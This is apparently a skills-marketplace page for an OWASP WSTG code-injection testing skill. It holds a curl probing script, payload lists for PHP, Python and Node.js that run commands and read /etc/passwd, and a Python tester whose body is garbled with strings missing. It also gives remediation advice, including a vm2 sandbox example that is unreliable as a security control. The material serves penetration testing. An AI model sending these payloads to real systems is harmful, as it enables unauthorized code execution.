用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-11命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-11 |
| description | Testing for Code Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-11 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["python","ruby","php","java","jinja2","twig","freemarker"] |
| cwe_ids | ["CWE-94","CWE-95"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-11
Testing for Code Injection
Code Injection occurs when an application incorporates user input into code that is dynamically executed. This includes injection into interpreted languages (PHP, Python, JavaScript, Ruby) through functions like eval(), exec(), or similar. Successful exploitation leads to arbitrary code execution on the server.
#!/bin/bash
TARGET="https://target.com"
# Test common code injection payloads
echo "[*] Testing for code injection..."
# PHP code injection
curl -s "$TARGET/page.php?code=phpinfo()"
curl -s "$TARGET/page.php?calc=1+1"
curl -s "$TARGET/page.php?eval=system('id')"
# Python code injection
curl -s "$TARGET/api/calc?expr=__import__('os').popen('id').read()"
# JavaScript/Node.js injection
curl -s "$TARGET/api/eval?code=require('child_process').execSync('id')"
#!/usr/bin/env python3
"""
Code Injection Vulnerability Tester
"""
import requests
import time
class :
():
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
,
,
,
,
,
],
: [
,
,
,
,
,
,
,
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text \
response.text \
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
payload .PAYLOADS[]:
:
start = time.time()
response = .session.get(
.url,
params={param: payload},
timeout=
)
elapsed = time.time() - start
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
elapsed > payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
test_cases = [
(, ),
(, ),
(, ),
]
payload, expected test_cases:
:
response = .session.get(
.url,
params={param: payload}
)
expected response.text:
()
code_payloads = [
,
,
]
code_payload code_payloads:
resp = .session.get(
.url,
params={param: code_payload}
)
resp.text:
()
.findings.append({
: ,
: code_payload,
:
})
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
()
():
.test_php_injection(param)
.test_python_injection(param)
.test_nodejs_injection(param)
.test_arithmetic_injection(param)
.generate_report()
tester = CodeInjectionTester()
tester.run_tests()
// PHP Code Injection Payloads
${system('id')}
${`id`}
";system('id');//
';system('id');//
phpinfo()
highlight_file('/etc/passwd')
file_get_contents('/etc/passwd')
# Python Code Injection Payloads
__import__('os').system('id')
eval(compile('import os; os.system("id")','<string>','exec'))
(lambda: __import__('os').system('id'))()
getattr(__import__('os'),'system')('id')
// Node.js Code Injection Payloads
require("child_process").execSync("id").toString()
global.process.mainModule.require("child_process").execSync("id").toString()
this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()
| Tool | Purpose |
|---|---|
| Burp Suite | Payload injection |
| Commix | Command/code injection |
| Custom scripts | Targeted testing |
# Python - Never use eval with user input
# VULNERABLE
result = eval(user_input)
# SECURE - Use safe evaluation libraries
import ast
def safe_eval(expression):
# Only allow basic math
allowed_nodes = {
ast.Expression, ast.Num, ast.BinOp,
ast.Add, ast.Sub, ast.Mult, ast.Div
}
tree = ast.parse(expression, mode='eval')
for node in ast.walk(tree):
if type(node) not in allowed_nodes:
raise ValueError("Unsafe expression")
return eval(compile(tree, '<string>', 'eval'))
<?php
// PHP - Avoid eval and dangerous functions
// VULNERABLE
eval($_GET['code']);
// SECURE - Use allowlists and safe alternatives
$allowed_functions = ['strlen', 'strtoupper', 'strtolower'];
$func = $_GET['func'];
if (in_array($func, $allowed_functions)) {
$result = call_user_func($func, $input);
}
?>
// Node.js - Avoid eval and vm with user input
// VULNERABLE
eval(userInput)
// SECURE - Use sandboxed evaluation
const { VM } = require("vm2")
const vm = new VM({
timeout: 1000,
sandbox: {},
})
const result = vm.run(userInput)
| Finding | CVSS | Severity |
|---|---|---|
| Direct code execution | 9.8 | Critical |
| eval() with user input | 9.8 | Critical |
| Arithmetic injection to RCE | 9.8 | Critical |
| CWE ID | Title |
|---|---|
| CWE-94 | Improper Control of Generation of Code |
[ ] eval() functions identified
[ ] Dynamic code execution tested
[ ] Time-based payloads tested
[ ] Multiple languages tested
[ ] Arithmetic injection tested
[ ] Findings documented